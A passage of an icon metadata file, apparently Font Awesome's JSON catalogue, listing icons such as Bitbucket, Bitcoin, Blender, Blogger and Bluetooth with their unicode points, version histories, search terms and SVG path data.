28.1 8.6 39.8c4.3 8 10 15.4 16.8 22.1c44.3-32.6 75.2-82.3 82.9-139.4c-9-2.2-18.1-3.1-27.1-2.7c-13.8 .6-27.5 4.4-40 12.4z"
      }
    },
    "free": ["solid"]
  },
  "bitbucket": {
    "aliases": {
      "unicodes": {
        "composite": ["f172"]
      }
    },
    "changes": ["3.2.0", "5.0.0", "5.6.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": ["atlassian", "bitbucket-square", "git"]
    },
    "styles": ["brands"],
    "unicode": "f171",
    "label": "Bitbucket",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M22.2 32A16 16 0 0 0 6 47.8a26.35 26.35 0 0 0 .2 2.8l67.9 412.1a21.77 21.77 0 0 0 21.3 18.2h325.7a16 16 0 0 0 16-13.4L505 50.7a16 16 0 0 0-13.2-18.3 24.58 24.58 0 0 0-2.8-.2L22.2 32zm285.9 297.8h-104l-28.1-147h157.3l-25.2 147z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M22.2 32A16 16 0 0 0 6 47.8a26.35 26.35 0 0 0 .2 2.8l67.9 412.1a21.77 21.77 0 0 0 21.3 18.2h325.7a16 16 0 0 0 16-13.4L505 50.7a16 16 0 0 0-13.2-18.3 24.58 24.58 0 0 0-2.8-.2L22.2 32zm285.9 297.8h-104l-28.1-147h157.3l-25.2 147z"
      }
    },
    "free": ["brands"]
  },
  "bitcoin": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f379",
    "label": "Bitcoin",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zm-141.651-35.33c4.937-32.999-20.191-50.739-54.55-62.573l11.146-44.702-27.213-6.781-10.851 43.524c-7.154-1.783-14.502-3.464-21.803-5.13l10.929-43.81-27.198-6.781-11.153 44.686c-5.922-1.349-11.735-2.682-17.377-4.084l.031-.14-37.53-9.37-7.239 29.062s20.191 4.627 19.765 4.913c11.022 2.751 13.014 10.044 12.68 15.825l-12.696 50.925c.76.194 1.744.473 2.829.907-.907-.225-1.876-.473-2.876-.713l-17.796 71.338c-1.349 3.348-4.767 8.37-12.471 6.464.271.395-19.78-4.937-19.78-4.937l-13.51 31.147 35.414 8.827c6.588 1.651 13.045 3.379 19.4 5.006l-11.262 45.213 27.182 6.781 11.153-44.733a1038.209 1038.209 0 0 0 21.687 5.627l-11.115 44.523 27.213 6.781 11.262-45.128c46.404 8.781 81.299 5.239 95.986-36.727 11.836-33.79-.589-53.281-25.004-65.991 17.78-4.098 31.174-15.792 34.747-39.949zm-62.177 87.179c-8.41 33.79-65.308 15.523-83.755 10.943l14.944-59.899c18.446 4.603 77.6 13.717 68.811 48.956zm8.417-87.667c-7.673 30.736-55.031 15.12-70.393 11.292l13.548-54.327c15.363 3.828 64.836 10.973 56.845 43.035z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zm-141.651-35.33c4.937-32.999-20.191-50.739-54.55-62.573l11.146-44.702-27.213-6.781-10.851 43.524c-7.154-1.783-14.502-3.464-21.803-5.13l10.929-43.81-27.198-6.781-11.153 44.686c-5.922-1.349-11.735-2.682-17.377-4.084l.031-.14-37.53-9.37-7.239 29.062s20.191 4.627 19.765 4.913c11.022 2.751 13.014 10.044 12.68 15.825l-12.696 50.925c.76.194 1.744.473 2.829.907-.907-.225-1.876-.473-2.876-.713l-17.796 71.338c-1.349 3.348-4.767 8.37-12.471 6.464.271.395-19.78-4.937-19.78-4.937l-13.51 31.147 35.414 8.827c6.588 1.651 13.045 3.379 19.4 5.006l-11.262 45.213 27.182 6.781 11.153-44.733a1038.209 1038.209 0 0 0 21.687 5.627l-11.115 44.523 27.213 6.781 11.262-45.128c46.404 8.781 81.299 5.239 95.986-36.727 11.836-33.79-.589-53.281-25.004-65.991 17.78-4.098 31.174-15.792 34.747-39.949zm-62.177 87.179c-8.41 33.79-65.308 15.523-83.755 10.943l14.944-59.899c18.446 4.603 77.6 13.717 68.811 48.956zm8.417-87.667c-7.673 30.736-55.031 15.12-70.393 11.292l13.548-54.327c15.363 3.828 64.836 10.973 56.845 43.035z"
      }
    },
    "free": ["brands"]
  },
  "bitcoin-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Bitcoin Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e0b4",
    "label": "Bitcoin Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M48 32C48 14.3 62.3 0 80 0s32 14.3 32 32V64h32V32c0-17.7 14.3-32 32-32s32 14.3 32 32V64c0 1.5-.1 3.1-.3 4.5C254.1 82.2 288 125.1 288 176c0 24.2-7.7 46.6-20.7 64.9c31.7 19.8 52.7 55 52.7 95.1c0 61.9-50.1 112-112 112v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H112v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H41.7C18.7 448 0 429.3 0 406.3V288 265.7 224 101.6C0 80.8 16.8 64 37.6 64H48V32zM64 224H176c26.5 0 48-21.5 48-48s-21.5-48-48-48H64v96zm112 64H64v96H208c26.5 0 48-21.5 48-48s-21.5-48-48-48H176z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M48 32C48 14.3 62.3 0 80 0s32 14.3 32 32V64h32V32c0-17.7 14.3-32 32-32s32 14.3 32 32V64c0 1.5-.1 3.1-.3 4.5C254.1 82.2 288 125.1 288 176c0 24.2-7.7 46.6-20.7 64.9c31.7 19.8 52.7 55 52.7 95.1c0 61.9-50.1 112-112 112v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H112v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V448H41.7C18.7 448 0 429.3 0 406.3V288 265.7 224 101.6C0 80.8 16.8 64 37.6 64H48V32zM64 224H176c26.5 0 48-21.5 48-48s-21.5-48-48-48H64v96zm112 64H64v96H208c26.5 0 48-21.5 48-48s-21.5-48-48-48H176z"
      }
    },
    "free": ["solid"]
  },
  "bity": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f37a",
    "label": "Bity",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014482,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M78.4 67.2C173.8-22 324.5-24 421.5 71c14.3 14.1-6.4 37.1-22.4 21.5-84.8-82.4-215.8-80.3-298.9-3.2-16.3 15.1-36.5-8.3-21.8-22.1zm98.9 418.6c19.3 5.7 29.3-23.6 7.9-30C73 421.9 9.4 306.1 37.7 194.8c5-19.6-24.9-28.1-30.2-7.1-32.1 127.4 41.1 259.8 169.8 298.1zm148.1-2c121.9-40.2 192.9-166.9 164.4-291-4.5-19.7-34.9-13.8-30 7.9 24.2 107.7-37.1 217.9-143.2 253.4-21.2 7-10.4 36 8.8 29.7zm-62.9-79l.2-71.8c0-8.2-6.6-14.8-14.8-14.8-8.2 0-14.8 6.7-14.8 14.8l-.2 71.8c0 8.2 6.6 14.8 14.8 14.8s14.8-6.6 14.8-14.8zm71-269c2.1 90.9 4.7 131.9-85.5 132.5-92.5-.7-86.9-44.3-85.5-132.5 0-21.8-32.5-19.6-32.5 0v71.6c0 69.3 60.7 90.9 118 90.1 57.3.8 118-20.8 118-90.1v-71.6c0-19.6-32.5-21.8-32.5 0z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M78.4 67.2C173.8-22 324.5-24 421.5 71c14.3 14.1-6.4 37.1-22.4 21.5-84.8-82.4-215.8-80.3-298.9-3.2-16.3 15.1-36.5-8.3-21.8-22.1zm98.9 418.6c19.3 5.7 29.3-23.6 7.9-30C73 421.9 9.4 306.1 37.7 194.8c5-19.6-24.9-28.1-30.2-7.1-32.1 127.4 41.1 259.8 169.8 298.1zm148.1-2c121.9-40.2 192.9-166.9 164.4-291-4.5-19.7-34.9-13.8-30 7.9 24.2 107.7-37.1 217.9-143.2 253.4-21.2 7-10.4 36 8.8 29.7zm-62.9-79l.2-71.8c0-8.2-6.6-14.8-14.8-14.8-8.2 0-14.8 6.7-14.8 14.8l-.2 71.8c0 8.2 6.6 14.8 14.8 14.8s14.8-6.6 14.8-14.8zm71-269c2.1 90.9 4.7 131.9-85.5 132.5-92.5-.7-86.9-44.3-85.5-132.5 0-21.8-32.5-19.6-32.5 0v71.6c0 69.3 60.7 90.9 118 90.1 57.3.8 118-20.8 118-90.1v-71.6c0-19.6-32.5-21.8-32.5 0z"
      }
    },
    "free": ["brands"]
  },
  "black-tie": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f27e",
    "label": "Font Awesome Black Tie",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 32v448h448V32H0zm316.5 325.2L224 445.9l-92.5-88.7 64.5-184-64.5-86.6h184.9L252 173.2l64.5 184z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 32v448h448V32H0zm316.5 325.2L224 445.9l-92.5-88.7 64.5-184-64.5-86.6h184.9L252 173.2l64.5 184z"
      }
    },
    "free": ["brands"]
  },
  "blackberry": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f37b",
    "label": "BlackBerry",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M166 116.9c0 23.4-16.4 49.1-72.5 49.1H23.4l21-88.8h67.8c42.1 0 53.8 23.3 53.8 39.7zm126.2-39.7h-67.8L205.7 166h70.1c53.8 0 70.1-25.7 70.1-49.1.1-16.4-11.6-39.7-53.7-39.7zM88.8 208.1H21L0 296.9h70.1c56.1 0 72.5-23.4 72.5-49.1 0-16.3-11.7-39.7-53.8-39.7zm180.1 0h-67.8l-18.7 88.8h70.1c53.8 0 70.1-23.4 70.1-49.1 0-16.3-11.7-39.7-53.7-39.7zm189.3-53.8h-67.8l-18.7 88.8h70.1c53.8 0 70.1-23.4 70.1-49.1.1-16.3-11.6-39.7-53.7-39.7zm-28 137.9h-67.8L343.7 381h70.1c56.1 0 70.1-23.4 70.1-49.1 0-16.3-11.6-39.7-53.7-39.7zM240.8 346H173l-18.7 88.8h70.1c56.1 0 70.1-25.7 70.1-49.1.1-16.3-11.6-39.7-53.7-39.7z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M166 116.9c0 23.4-16.4 49.1-72.5 49.1H23.4l21-88.8h67.8c42.1 0 53.8 23.3 53.8 39.7zm126.2-39.7h-67.8L205.7 166h70.1c53.8 0 70.1-25.7 70.1-49.1.1-16.4-11.6-39.7-53.7-39.7zM88.8 208.1H21L0 296.9h70.1c56.1 0 72.5-23.4 72.5-49.1 0-16.3-11.7-39.7-53.8-39.7zm180.1 0h-67.8l-18.7 88.8h70.1c53.8 0 70.1-23.4 70.1-49.1 0-16.3-11.7-39.7-53.7-39.7zm189.3-53.8h-67.8l-18.7 88.8h70.1c53.8 0 70.1-23.4 70.1-49.1.1-16.3-11.6-39.7-53.7-39.7zm-28 137.9h-67.8L343.7 381h70.1c56.1 0 70.1-23.4 70.1-49.1 0-16.3-11.6-39.7-53.7-39.7zM240.8 346H173l-18.7 88.8h70.1c56.1 0 70.1-25.7 70.1-49.1.1-16.3-11.6-39.7-53.7-39.7z"
      }
    },
    "free": ["brands"]
  },
  "blender": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f517"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cocktail", "milkshake", "mixer", "puree", "smoothie"]
    },
    "styles": ["solid"],
    "unicode": "f517",
    "label": "Blender",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767419,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 64C0 28.7 28.7 0 64 0h64 32H470.1c21.1 0 36.4 20.1 30.9 40.4L494.5 64H336c-8.8 0-16 7.2-16 16s7.2 16 16 16H485.8l-17.5 64H336c-8.8 0-16 7.2-16 16s7.2 16 16 16H459.6l-17.5 64H336c-8.8 0-16 7.2-16 16s7.2 16 16 16h97.5L416 352H160l-8.7-96H64c-35.3 0-64-28.7-64-64V64zM145.5 192L133.8 64H64V192h81.5zM144 384H432c26.5 0 48 21.5 48 48v32c0 26.5-21.5 48-48 48H144c-26.5 0-48-21.5-48-48V432c0-26.5 21.5-48 48-48zm144 96a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 64C0 28.7 28.7 0 64 0h64 32H470.1c21.1 0 36.4 20.1 30.9 40.4L494.5 64H336c-8.8 0-16 7.2-16 16s7.2 16 16 16H485.8l-17.5 64H336c-8.8 0-16 7.2-16 16s7.2 16 16 16H459.6l-17.5 64H336c-8.8 0-16 7.2-16 16s7.2 16 16 16h97.5L416 352H160l-8.7-96H64c-35.3 0-64-28.7-64-64V64zM145.5 192L133.8 64H64V192h81.5zM144 384H432c26.5 0 48 21.5 48 48v32c0 26.5-21.5 48-48 48H144c-26.5 0-48-21.5-48-48V432c0-26.5 21.5-48 48-48zm144 96a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "blender-phone": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f6b6"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "appliance",
        "cocktail",
        "fantasy",
        "milkshake",
        "mixer",
        "puree",
        "silly",
        "smoothie"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6b6",
    "label": "Blender Phone",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M224 352L196.8 52.3C194.2 24.2 216.3 0 244.6 0H534.1c21.1 0 36.4 20.1 30.9 40.4L558.5 64H400c-8.8 0-16 7.2-16 16s7.2 16 16 16H549.8l-17.5 64H400c-8.8 0-16 7.2-16 16s7.2 16 16 16H523.6l-17.5 64H400c-8.8 0-16 7.2-16 16s7.2 16 16 16h97.5L480 352H224zm-16 32H496c26.5 0 48 21.5 48 48v32c0 26.5-21.5 48-48 48H208c-26.5 0-48-21.5-48-48V432c0-26.5 21.5-48 48-48zm144 96a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM147.5 30.7c10.8 6.7 15.3 21 10.6 33.4l-22 57.8c-4.2 10.9-14.5 17.6-25.3 16.4l-33.3-3.6c-13.6 42.2-13.6 88.4 0 130.7l33.3-3.6c10.9-1.2 21.2 5.5 25.3 16.4l22 57.8c4.7 12.4 .2 26.7-10.6 33.4l-44 27.2c-9.7 6-21.9 4.2-29.8-4.3C-24.6 286-24.6 114 73.7 7.8C81.6-.7 93.8-2.5 103.5 3.5l44 27.2z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M224 352L196.8 52.3C194.2 24.2 216.3 0 244.6 0H534.1c21.1 0 36.4 20.1 30.9 40.4L558.5 64H400c-8.8 0-16 7.2-16 16s7.2 16 16 16H549.8l-17.5 64H400c-8.8 0-16 7.2-16 16s7.2 16 16 16H523.6l-17.5 64H400c-8.8 0-16 7.2-16 16s7.2 16 16 16h97.5L480 352H224zm-16 32H496c26.5 0 48 21.5 48 48v32c0 26.5-21.5 48-48 48H208c-26.5 0-48-21.5-48-48V432c0-26.5 21.5-48 48-48zm144 96a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM147.5 30.7c10.8 6.7 15.3 21 10.6 33.4l-22 57.8c-4.2 10.9-14.5 17.6-25.3 16.4l-33.3-3.6c-13.6 42.2-13.6 88.4 0 130.7l33.3-3.6c10.9-1.2 21.2 5.5 25.3 16.4l22 57.8c4.7 12.4 .2 26.7-10.6 33.4l-44 27.2c-9.7 6-21.9 4.2-29.8-4.3C-24.6 286-24.6 114 73.7 7.8C81.6-.7 93.8-2.5 103.5 3.5l44 27.2z"
      }
    },
    "free": ["solid"]
  },
  "blog": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f781"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "journal",
        "log",
        "online",
        "personal",
        "post",
        "web 2.0",
        "wordpress",
        "writing"
      ]
    },
    "styles": ["solid"],
    "unicode": "f781",
    "label": "Blog",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766677,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M192 32c0 17.7 14.3 32 32 32c123.7 0 224 100.3 224 224c0 17.7 14.3 32 32 32s32-14.3 32-32C512 128.9 383.1 0 224 0c-17.7 0-32 14.3-32 32zm0 96c0 17.7 14.3 32 32 32c70.7 0 128 57.3 128 128c0 17.7 14.3 32 32 32s32-14.3 32-32c0-106-86-192-192-192c-17.7 0-32 14.3-32 32zM96 144c0-26.5-21.5-48-48-48S0 117.5 0 144V368c0 79.5 64.5 144 144 144s144-64.5 144-144s-64.5-144-144-144H128v96h16c26.5 0 48 21.5 48 48s-21.5 48-48 48s-48-21.5-48-48V144z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M192 32c0 17.7 14.3 32 32 32c123.7 0 224 100.3 224 224c0 17.7 14.3 32 32 32s32-14.3 32-32C512 128.9 383.1 0 224 0c-17.7 0-32 14.3-32 32zm0 96c0 17.7 14.3 32 32 32c70.7 0 128 57.3 128 128c0 17.7 14.3 32 32 32s32-14.3 32-32c0-106-86-192-192-192c-17.7 0-32 14.3-32 32zM96 144c0-26.5-21.5-48-48-48S0 117.5 0 144V368c0 79.5 64.5 144 144 144s144-64.5 144-144s-64.5-144-144-144H128v96h16c26.5 0 48 21.5 48 48s-21.5 48-48 48s-48-21.5-48-48V144z"
      }
    },
    "free": ["solid"]
  },
  "blogger": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f37c",
    "label": "Blogger",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014468,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M162.4 196c4.8-4.9 6.2-5.1 36.4-5.1 27.2 0 28.1.1 32.1 2.1 5.8 2.9 8.3 7 8.3 13.6 0 5.9-2.4 10-7.6 13.4-2.8 1.8-4.5 1.9-31.1 2.1-16.4.1-29.5-.2-31.5-.8-10.3-2.9-14.1-17.7-6.6-25.3zm61.4 94.5c-53.9 0-55.8.2-60.2 4.1-3.5 3.1-5.7 9.4-5.1 13.9.7 4.7 4.8 10.1 9.2 12 2.2 1 14.1 1.7 56.3 1.2l47.9-.6 9.2-1.5c9-5.1 10.5-17.4 3.1-24.4-5.3-4.7-5-4.7-60.4-4.7zm223.4 130.1c-3.5 28.4-23 50.4-51.1 57.5-7.2 1.8-9.7 1.9-172.9 1.8-157.8 0-165.9-.1-172-1.8-8.4-2.2-15.6-5.5-22.3-10-5.6-3.8-13.9-11.8-17-16.4-3.8-5.6-8.2-15.3-10-22C.1 423 0 420.3 0 256.3 0 93.2 0 89.7 1.8 82.6 8.1 57.9 27.7 39 53 33.4c7.3-1.6 332.1-1.9 340-.3 21.2 4.3 37.9 17.1 47.6 36.4 7.7 15.3 7-1.5 7.3 180.6.2 115.8 0 164.5-.7 170.5zm-85.4-185.2c-1.1-5-4.2-9.6-7.7-11.5-1.1-.6-8-1.3-15.5-1.7-12.4-.6-13.8-.8-17.8-3.1-6.2-3.6-7.9-7.6-8-18.3 0-20.4-8.5-39.4-25.3-56.5-12-12.2-25.3-20.5-40.6-25.1-3.6-1.1-11.8-1.5-39.2-1.8-42.9-.5-52.5.4-67.1 6.2-27 10.7-46.3 33.4-53.4 62.4-1.3 5.4-1.6 14.2-1.9 64.3-.4 62.8 0 72.1 4 84.5 9.7 30.7 37.1 53.4 64.6 58.4 9.2 1.7 122.2 2.1 133.7.5 20.1-2.7 35.9-10.8 50.7-25.9 10.7-10.9 17.4-22.8 21.8-38.5 3.2-10.9 2.9-88.4 1.7-93.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M162.4 196c4.8-4.9 6.2-5.1 36.4-5.1 27.2 0 28.1.1 32.1 2.1 5.8 2.9 8.3 7 8.3 13.6 0 5.9-2.4 10-7.6 13.4-2.8 1.8-4.5 1.9-31.1 2.1-16.4.1-29.5-.2-31.5-.8-10.3-2.9-14.1-17.7-6.6-25.3zm61.4 94.5c-53.9 0-55.8.2-60.2 4.1-3.5 3.1-5.7 9.4-5.1 13.9.7 4.7 4.8 10.1 9.2 12 2.2 1 14.1 1.7 56.3 1.2l47.9-.6 9.2-1.5c9-5.1 10.5-17.4 3.1-24.4-5.3-4.7-5-4.7-60.4-4.7zm223.4 130.1c-3.5 28.4-23 50.4-51.1 57.5-7.2 1.8-9.7 1.9-172.9 1.8-157.8 0-165.9-.1-172-1.8-8.4-2.2-15.6-5.5-22.3-10-5.6-3.8-13.9-11.8-17-16.4-3.8-5.6-8.2-15.3-10-22C.1 423 0 420.3 0 256.3 0 93.2 0 89.7 1.8 82.6 8.1 57.9 27.7 39 53 33.4c7.3-1.6 332.1-1.9 340-.3 21.2 4.3 37.9 17.1 47.6 36.4 7.7 15.3 7-1.5 7.3 180.6.2 115.8 0 164.5-.7 170.5zm-85.4-185.2c-1.1-5-4.2-9.6-7.7-11.5-1.1-.6-8-1.3-15.5-1.7-12.4-.6-13.8-.8-17.8-3.1-6.2-3.6-7.9-7.6-8-18.3 0-20.4-8.5-39.4-25.3-56.5-12-12.2-25.3-20.5-40.6-25.1-3.6-1.1-11.8-1.5-39.2-1.8-42.9-.5-52.5.4-67.1 6.2-27 10.7-46.3 33.4-53.4 62.4-1.3 5.4-1.6 14.2-1.9 64.3-.4 62.8 0 72.1 4 84.5 9.7 30.7 37.1 53.4 64.6 58.4 9.2 1.7 122.2 2.1 133.7.5 20.1-2.7 35.9-10.8 50.7-25.9 10.7-10.9 17.4-22.8 21.8-38.5 3.2-10.9 2.9-88.4 1.7-93.9z"
      }
    },
    "free": ["brands"]
  },
  "blogger-b": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f37d",
    "label": "Blogger B",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M446.6 222.7c-1.8-8-6.8-15.4-12.5-18.5-1.8-1-13-2.2-25-2.7-20.1-.9-22.3-1.3-28.7-5-10.1-5.9-12.8-12.3-12.9-29.5-.1-33-13.8-63.7-40.9-91.3-19.3-19.7-40.9-33-65.5-40.5-5.9-1.8-19.1-2.4-63.3-2.9-69.4-.8-84.8.6-108.4 10C45.9 59.5 14.7 96.1 3.3 142.9 1.2 151.7.7 165.8.2 246.8c-.6 101.5.1 116.4 6.4 136.5 15.6 49.6 59.9 86.3 104.4 94.3 14.8 2.7 197.3 3.3 216 .8 32.5-4.4 58-17.5 81.9-41.9 17.3-17.7 28.1-36.8 35.2-62.1 4.9-17.6 4.5-142.8 2.5-151.7zm-322.1-63.6c7.8-7.9 10-8.2 58.8-8.2 43.9 0 45.4.1 51.8 3.4 9.3 4.7 13.4 11.3 13.4 21.9 0 9.5-3.8 16.2-12.3 21.6-4.6 2.9-7.3 3.1-50.3 3.3-26.5.2-47.7-.4-50.8-1.2-16.6-4.7-22.8-28.5-10.6-40.8zm191.8 199.8l-14.9 2.4-77.5.9c-68.1.8-87.3-.4-90.9-2-7.1-3.1-13.8-11.7-14.9-19.4-1.1-7.3 2.6-17.3 8.2-22.4 7.1-6.4 10.2-6.6 97.3-6.7 89.6-.1 89.1-.1 97.6 7.8 12.1 11.3 9.5 31.2-4.9 39.4z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M446.6 222.7c-1.8-8-6.8-15.4-12.5-18.5-1.8-1-13-2.2-25-2.7-20.1-.9-22.3-1.3-28.7-5-10.1-5.9-12.8-12.3-12.9-29.5-.1-33-13.8-63.7-40.9-91.3-19.3-19.7-40.9-33-65.5-40.5-5.9-1.8-19.1-2.4-63.3-2.9-69.4-.8-84.8.6-108.4 10C45.9 59.5 14.7 96.1 3.3 142.9 1.2 151.7.7 165.8.2 246.8c-.6 101.5.1 116.4 6.4 136.5 15.6 49.6 59.9 86.3 104.4 94.3 14.8 2.7 197.3 3.3 216 .8 32.5-4.4 58-17.5 81.9-41.9 17.3-17.7 28.1-36.8 35.2-62.1 4.9-17.6 4.5-142.8 2.5-151.7zm-322.1-63.6c7.8-7.9 10-8.2 58.8-8.2 43.9 0 45.4.1 51.8 3.4 9.3 4.7 13.4 11.3 13.4 21.9 0 9.5-3.8 16.2-12.3 21.6-4.6 2.9-7.3 3.1-50.3 3.3-26.5.2-47.7-.4-50.8-1.2-16.6-4.7-22.8-28.5-10.6-40.8zm191.8 199.8l-14.9 2.4-77.5.9c-68.1.8-87.3-.4-90.9-2-7.1-3.1-13.8-11.7-14.9-19.4-1.1-7.3 2.6-17.3 8.2-22.4 7.1-6.4 10.2-6.6 97.3-6.7 89.6-.1 89.1-.1 97.6 7.8 12.1 11.3 9.5 31.2-4.9 39.4z"
      }
    },
    "free": ["brands"]
  },
  "bluetooth": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f293"]
      }
    },
    "changes": ["4.5.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["signal"]
    },
    "styles": ["brands"],
    "unicode": "f293",
    "label": "Bluetooth",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M292.6 171.1L249.7 214l-.3-86 43.2 43.1m-43.2 219.8l43.1-43.1-42.9-42.9-.2 86zM416 259.4C416 465 344.1 512 230.9 512S32 465 32 259.4 115.4 0 228.6 0 416 53.9 416 259.4zm-158.5 0l79.4-88.6L211.8 36.5v176.9L138 139.6l-27 26.9 92.7 93-92.7 93 26.9 26.9 73.8-73.8 2.3 170 127.4-127.5-83.9-88.7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M292.6 171.1L249.7 214l-.3-86 43.2 43.1m-43.2 219.8l43.1-43.1-42.9-42.9-.2 86zM416 259.4C416 465 344.1 512 230.9 512S32 465 32 259.4 115.4 0 228.6 0 416 53.9 416 259.4zm-158.5 0l79.4-88.6L211.8 36.5v176.9L138 139.6l-27 26.9 92.7 93-92.7 93 26.9 26.9 73.8-73.8 2.3 170 127.4-127.5-83.9-88.7z"
      }
    },
    "free": ["brands"]
  },
  "bluetooth-b": {
    "changes": ["4.5.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f294",
    "label": "Bluetooth",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M196.48 260.023l92.626-103.333L143.125 0v206.33l-86.111-86.111-31.406 31.405 108.061 108.399L25.608 368.422l31.406 31.405 86.111-86.111L145.84 512l148.552-148.644-97.912-103.333zm40.86-102.996l-49.977 49.978-.338-100.295 50.315 50.317zM187.363 313.04l49.977 49.978-50.315 50.316.338-100.294z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M196.48 260.023l92.626-103.333L143.125 0v206.33l-86.111-86.111-31.406 31.405 108.061 108.399L25.608 368.422l31.406 31.405 86.111-86.111L145.84 512l148.552-148.644-97.912-103.333zm40.86-102.996l-49.977 49.978-.338-100.295 50.315 50.317zM187.363 313.04l49.977 49.978-50.315 50.316.338-100.294z"
      }
    },
    "free": ["brands"]
  },
  "bold": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f032"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.9.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
